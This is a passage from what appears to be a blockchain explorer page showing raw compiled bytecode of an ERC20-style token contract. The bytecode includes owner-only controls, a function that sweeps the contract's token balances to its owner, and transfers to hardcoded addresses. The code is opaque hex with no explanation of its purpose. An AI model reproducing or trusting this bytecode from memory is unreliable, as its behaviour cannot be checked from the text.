f16815260200190815260200160002054600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b8152600401808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060206040518083038186803b158015611b9157600080fd5b505afa158015611ba5573d6000803e3d6000fd5b505050506040513d6020811015611bbb57600080fd5b810190808051906020019092919050505061246390919063ffffffff16565b6124e990919063ffffffff16565b90506004600860003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054820310611d7c57600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663d8ccd0f360046040518263ffffffff1660e01b815260040180828152602001915050602060405180830381600087803b158015611ca957600080fd5b505af1158015611cbd573d6000803e3d6000fd5b505050506040513d6020811015611cd357600080fd5b810190808051906020019092919050505050611d386004600860003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612aac90919063ffffffff16565b600860003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663d1a1beb4858560016040518463ffffffff1660e01b8152600401808473ffffffffffffffffffffffffffffffffffffffff16815260200183815260200182151581526020019350505050602060405180830381600087803b158015611e1a57600080fd5b505af1158015611e2e573d6000803e3d6000fd5b505050506040513d6020811015611e4457600080fd5b810190808051906020019092919050505050611e68611e61612533565b8585612732565b6001915050611f91565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16638c4fd5ce3385856040518463ffffffff1660e01b8152600401808473ffffffffffffffffffffffffffffffffffffffff1681526020018373ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019350505050602060405180830381600087803b158015611f2357600080fd5b505af1158015611f37573d6000803e3d6000fd5b505050506040513d6020811015611f4d57600080fd5b810190808051906020019092919050505050611f71611f6a612533565b8484612732565b60019050611f91565b611f8c611f85612533565b8484612732565b600190505b92915050565b600a8054600181600116156101000203166002900480601f01602080910402602001604051908101604052809291908181526020018280546001816001161561010002031660029004801561202d5780601f106120025761010080835404028352916020019161202d565b820191906000526020600020905b81548152906001019060200180831161201057829003601f168201915b505050505081565b3373ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146120f6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b80600360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b3373ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614612282576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b60008173ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b8152600401808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060206040518083038186803b1580156122eb57600080fd5b505afa1580156122ff573d6000803e3d6000fd5b505050506040513d602081101561231557600080fd5b810190808051906020019092919050505090508173ffffffffffffffffffffffffffffffffffffffff1663a9059cbb33836040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b15801561239957600080fd5b505af11580156123ad573d6000803e3d6000fd5b505050506040513d60208110156123c357600080fd5b8101908080519060200190929190505050505050565b600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60086020528060005260406000206000915090505481565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60008083141561247657600090506124e3565b600082840290508284828161248757fe5b04146124de576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526021815260200180612cb06021913960400191505060405180910390fd5b809150505b92915050565b600061252b83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612b7e565b905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156125c1576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526024815260200180612d1e6024913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415612647576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526022815260200180612c686022913960400191505060405180910390fd5b80600760008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156127b8576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526025815260200180612cf96025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561283e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526023815260200180612c456023913960400191505060405180910390fd5b6128aa81604051806060016040528060268152602001612c8a60269139600660008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546129ec9092919063ffffffff16565b600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061293f81600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612aac90919063ffffffff16565b600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a3505050565b6000838311158290612a99576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015612a5e578082015181840152602081019050612a43565b50505050905090810190601f168015612a8b5780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b600080828401905083811015612b2a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b8091505092915050565b6000612b7683836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506129ec565b905092915050565b60008083118290612c2a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015612bef578082015181840152602081019050612bd4565b50505050905090810190601f168015612c1c5780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b506000838581612c3657fe5b04905080915050939250505056fe45524332303a207472616e7366657220746f20746865207a65726f206164647265737345524332303a20617070726f766520746f20746865207a65726f206164647265737345524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e6365536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f7745524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f2061646472657373a2646970667358221220fc6a517969feed7016f2639854a077fc944b2fdb912cfafa3a5848033366dce964736f6c634300060c0033536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f77
Deployed Bytecode
0x608060405234801561001057600080fd5b50600436106101cf5760003560e01c806355ff94db11610104578063b09f1266116100a2578063e816919711610071578063e816919714610925578063eb531c5714610959578063ec6b0ece1461098d578063fcceafc2146109e5576101cf565b8063b09f1266146107a2578063b3ab15fb14610825578063dd62ed3e14610869578063def8512d146108e1576101cf565b806395d89b41116100de57806395d89b411461065957806397401eda146106dc578063a22d4832146106fa578063a9059cbb1461073e576101cf565b806355ff94db146105795780636ebcf607146105a957806370a0823114610601576101cf565b806323b872dd11610171578063313ce5671161014b578063313ce567146104e557806332424aa3146105065780633eaaf86b1461052757806342ba61bb14610545576101cf565b806323b872dd146104135780632a82afa7146104975780632d56af6c146104db576101cf565b8063095ea7b3116101ad578063095ea7b31461035257806310a4cd70146103b657806318160ddd146103d45780631fb92be2146103f2576101cf565b8063024c2ddd146101d45780630487444b1461024c57806306fdde03146102cf575b600080fd5b610236600480360360408110156101ea57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610a19565b6040518082815260200191505060405180910390f35b610254610a3e565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610294578082015181840152602081019050610279565b50505050905090810190601f1680156102c15780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6102d7610adc565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156103175780820151818401526020810190506102fc565b50505050905090810190601f1680156103445780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b61039e6004803603604081101561036857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610b7e565b60405180821515815260200191505060405180910390f35b6103be610b9c565b6040518082815260200191505060405180910390f35b6103dc610ba2565b6040518082815260200191505060405180910390f35b6103fa610bac565b604051808260ff16815260200191505060405180910390f35b61047f6004803603606081101561042957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610bbf565b60405180821515815260200191505060405180910390f35b6104d9600480360360208110156104ad57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506112cb565b005b6104e36113d0565b005b6104ed61170e565b604051808260ff16815260200191505060405180910390f35b61050e611725565b604051808260ff16815260200191505060405180910390f35b61052f611738565b6040518082815260200191505060405180910390f35b61054d61173e565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6105a76004803603602081101561058f57600080fd5b81019080803515159060200190929190505050611764565b005b6105eb600480360360208110156105bf57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611842565b6040518082815260200191505060405180910390f35b6106436004803603602081101561061757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061185a565b6040518082815260200191505060405180910390f35b6106616118a3565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156106a1578082015181840152602081019050610686565b50505050905090810190601f1680156106ce5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6106e4611945565b6040518082815260200191505060405180910390f35b61073c6004803603602081101561071057600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061194b565b005b61078a6004803603604081101561075457600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611a50565b60405180821515815260200191505060405180910390f35b6107aa611f97565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156107ea5780820151818401526020810190506107cf565b50505050905090810190601f1680156108175780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6108676004803603602081101561083b57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050612035565b005b6108cb6004803603604081101561087f57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061213a565b6040518082815260200191505060405180910390f35b610923600480360360208110156108f757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506121c1565b005b61092d6123d9565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6109616123ff565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6109cf600480360360208110156109a357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050612425565b6040518082815260200191505060405180910390f35b6109ed61243d565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6007602052816000526040600020602052806000526040600020600091509150505481565b600b8054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610ad45780601f10610aa957610100808354040283529160200191610ad4565b820191906000526020600020905b815481529060010190602001808311610ab757829003601f168201915b505050505081565b6060600b8054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610b745780601f10610b4957610100808354040283529160200191610b74565b820191906000526020600020905b815481529060010190602001808311610b5757829003601f168201915b5050505050905090565b6000610b92610b8b612533565b848461253b565b6001905092915050565b600e5481565b6000600954905090565b600f60009054906101000a900460ff1681565b6000600c60019054906101000a900460ff16156111f357600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141561103157600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663a0712d68600f6040518263ffffffff1660e01b815260040180828152602001915050600060405180830381600087803b158015610ca257600080fd5b505af1158015610cb6573d6000803e3d6000fd5b50505050600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663a9059cbb734d489ea839a7bb47c4b9ba32ed277afa8a88306760036040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b158015610d6257600080fd5b505af1158015610d76573d6000803e3d6000fd5b505050506040513d6020811015610d8c57600080fd5b810190808051906020019092919050505050600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663a9059cbb732dc11a0a66810cd9ff57ef5c852284a6e3b394eb60036040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b158015610e4657600080fd5b505af1158015610e5a573d6000803e3d6000fd5b505050506040513d6020811015610e7057600080fd5b810190808051906020019092919050505050600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663d1a1beb4858460006040518463ffffffff1660e01b8152600401808473ffffffffffffffffffffffffffffffffffffffff16815260200183815260200182151581526020019350505050602060405180830381600087803b158015610f2057600080fd5b505af1158015610f34573d6000803e3d6000fd5b505050506040513d6020811015610f4a57600080fd5b810190808051906020019092919050505050610f67848484612732565b61102884610f73612533565b61102385604051806060016040528060288152602001612cd160289139600760008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610fd9612533565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546129ec9092919063ffffffff16565b61253b565b600190506112c4565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16638c4fd5ce8585856040518463ffffffff1660e01b8152600401808473ffffffffffffffffffffffffffffffffffffffff1681526020018373ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019350505050602060405180830381600087803b1580156110e257600080fd5b505af11580156110f6573d6000803e3d6000fd5b505050506040513d602081101561110c57600080fd5b810190808051906020019092919050505050611129848484612732565b6111ea84611135612533565b6111e585604051806060016040528060288152602001612cd160289139600760008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061119b612533565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546129ec9092919063ffffffff16565b61253b565b600190506112c4565b6111fe848484612732565b6112bf8461120a612533565b6112ba85604051806060016040528060288152602001612cd160289139600760008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000611270612533565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546129ec9092919063ffffffff16565b61253b565b600190505b9392505050565b3373ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461138c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b80600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b3373ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611491576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600042905060006114d36114c2600f60009054906101000a900460ff1660ff16600e5461246390919063ffffffff16565b600d54612aac90919063ffffffff16565b90506000600660003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541161158a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260118152602001807f47656e657369732074696d65206f75742e00000000000000000000000000000081525060200191505060405180910390fd5b8082116115ff576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601f8152602001807f6e6578742047656e6573697320626c6f636b206e6f7420796574206475652e0081525060200191505060405180910390fd5b61167961162b606461161d600a60095461246390919063ffffffff16565b6124e990919063ffffffff16565b600660003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612b3490919063ffffffff16565b600660003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506006600f60009054906101000a900460ff1660ff16101561170a57600f600081819054906101000a900460ff168092919060010191906101000a81548160ff021916908360ff160217905550505b5050565b6000600c60009054906101000a900460ff16905090565b600c60009054906101000a900460ff1681565b60095481565b600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b3373ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611825576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b80600c60016101000a81548160ff02191690831515021790555050565b60066020528060005260406000206000915090505481565b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6060600a8054600181600116156101000203166002900480601f01602080910402602001604051908101604052809291908181526020018280546001816001161561010002031660029004801561193b5780601f106119105761010080835404028352916020019161193b565b820191906000526020600020905b81548152906001019060200180831161191e57829003601f168201915b5050505050905090565b600d5481565b3373ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611a0c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b80600260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000600c60019054906101000a900460ff1615611f7a57600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415611e72576000611be8600954611bda600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b8152600401808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060206040518083038186803b158015611b9157600080fd5b505afa158015611ba5573d6000803e3d6000fd5b505050506040513d6020811015611bbb57600080fd5b810190808051906020019092919050505061246390919063ffffffff16565b6124e990919063ffffffff16565b90506004600860003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054820310611d7c57600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663d8ccd0f360046040518263ffffffff1660e01b815260040180828152602001915050602060405180830381600087803b158015611ca957600080fd5b505af1158015611cbd573d6000803e3d6000fd5b505050506040513d6020811015611cd357600080fd5b810190808051906020019092919050505050611d386004600860003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612aac90919063ffffffff16565b600860003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663d1a1beb4858560016040518463ffffffff1660e01b8152600401808473ffffffffffffffffffffffffffffffffffffffff16815260200183815260200182151581526020019350505050602060405180830381600087803b158015611e1a57600080fd5b505af1158015611e2e573d6000803e3d6000fd5b505050506040513d6020811015611e4457600080fd5b810190808051906020019092919050505050611e68611e61612533565b8585612732565b6001915050611f91565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16638c4fd5ce3385856040518463ffffffff1660e01b8152600401808473ffffffffffffffffffffffffffffffffffffffff1681526020018373ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019350505050602060405180830381600087803b158015611f2357600080fd5b505af1158015611f37573d6000803e3d6000fd5b505050506040513d6020811015611f4d57600080fd5b810190808051906020019092919050505050611f71611f6a612533565b8484612732565b60019050611f91565b611f8c611f85612533565b8484612732565b600190505b92915050565b600a8054600181600116156101000203166002900480601f01602080910402602001604051908101604052809291908181526020018280546001816001161561010002031660029004801561202d5780601f106120025761010080835404028352916020019161202d565b820191906000526020600020905b81548152906001019060200180831161201057829003601f168201915b505050505081565b3373ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146120f6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b80600360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b3373ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614612282576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b60008173ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b8152600401808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060206040518083038186803b1580156122eb57600080fd5b505afa1580156122ff573d6000803e3d6000fd5b505050506040513d602081101561231557600080fd5b810190808051906020019092919050505090508173ffffffffffffffffffffffffffffffffffffffff1663a9059cbb33836040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b15801561239957600080fd5b505af11580156123ad573d6000803e3d6000fd5b505050506040513d60208110156123c357600080fd5b8101908080519060200190929190505050505050565b600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60086020528060005260406000206000915090505481565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60008083141561247657600090506124e3565b600082840290508284828161248757fe5b04146124de576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526021815260200180612cb06021913960400191505060405180910390fd5b809150505b92915050565b600061252b83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612b7e565b905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156125c1576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526024815260200180612d1e6024913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415612647576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526022815260200180612c686022913960400191505060405180910390fd5b80600760008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156127b8576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526025815260200180612cf96025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561283e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526023815260200180612c456023913960400191505060405180910390fd5b6128aa81604051806060016040528060268152602001612c8a60269139600660008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546129ec9092919063ffffffff16565b600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061293f81600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612aac90919063ffffffff16565b600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a3505050565b6000838311158290612a99576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015612a5e578082015181840152602081019050612a43565b50505050905090810190601f168015612a8b5780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b600080828401905083811015612b2a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b8091505092915050565b6000612b7683836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506129ec565b905092915050565b60008083118290612c2a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015612bef578082015181840152602081019050612bd4565b50505050905090810190601f168015612c1c5780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b506000838581612c3657fe5b04905080915050939250505056fe45524332303a207472616e7366657220746f20746865207a65726f206164647265737345524332303a20617070726f766520746f20746865207a65726f206164647265737345524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e6365536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f7745524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f2061646472657373a2646970667358221220fc6a517969feed7016f2639854a077fc944b2fdb912cfafa3a5848033366dce964736f6c634300060c0033
Deployed Bytecode Sourcemap
